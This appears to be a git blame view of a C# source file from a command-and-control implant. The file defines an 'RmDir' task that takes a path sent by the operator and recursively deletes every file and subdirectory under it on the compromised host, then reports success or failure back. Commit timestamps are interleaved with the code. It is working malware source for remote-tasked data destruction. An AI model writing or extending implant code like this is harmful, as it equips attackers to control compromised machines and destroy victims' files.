2021-12-30 19:52:29 -08:00
|
|
|
|
using System.IO;
|
|
|
|
|
|
|
|
|
|
using Implant.Models;
|
2021-12-26 22:13:21 -08:00
|
|
|
|
|
|
|
|
|
namespace Implant.Tasks.Execute
|
|
|
|
|
{
|
2021-12-30 19:52:29 -08:00
|
|
|
|
internal class Rmdir : ImplantCommands
|
2021-12-26 22:13:21 -08:00
|
|
|
|
{
|
2021-12-30 19:52:29 -08:00
|
|
|
|
private string targetDir { get; set; }
|
|
|
|
|
|
|
|
|
|
public override string Name => "RmDir";
|
|
|
|
|
|
|
|
|
|
public override string Execute(ImplantTask task)
|
|
|
|
|
{
|
|
|
|
|
targetDir = task.Args;
|
2022-03-16 19:10:46 -07:00
|
|
|
|
var currentDir = Directory.GetCurrentDirectory();
|
|
|
|
|
|
|
|
|
|
if (!(targetDir.Contains(currentDir))) { targetDir = $"{currentDir}\\{task.Args}"; }
|
|
|
|
|
|
2021-12-30 19:52:29 -08:00
|
|
|
|
|
|
|
|
|
DirectoryInfo dirData = new DirectoryInfo(targetDir);
|
|
|
|
|
|
|
|
|
|
foreach(FileInfo cFile in dirData.GetFiles()) { cFile.Delete(); }
|
2022-01-03 18:00:13 -08:00
|
|
|
|
foreach(DirectoryInfo cDir in dirData.GetDirectories()) { cDir.Delete(true); }
|
|
|
|
|
|
|
|
|
|
Directory.Delete(targetDir, true);
|
2021-12-30 19:52:29 -08:00
|
|
|
|
|
2022-03-16 19:10:46 -07:00
|
|
|
|
if (!(dirData.Exists)) { return $"[*] {targetDir} removed\n"; }
|
2022-01-03 18:00:13 -08:00
|
|
|
|
return $"[-] Failed to remove {targetDir}\n";
|
2021-12-30 19:52:29 -08:00
|
|
|
|
}
|
2021-12-26 22:13:21 -08:00
|
|
|
|
}
|
2021-12-30 19:52:29 -08:00
|
|
|
|
}
|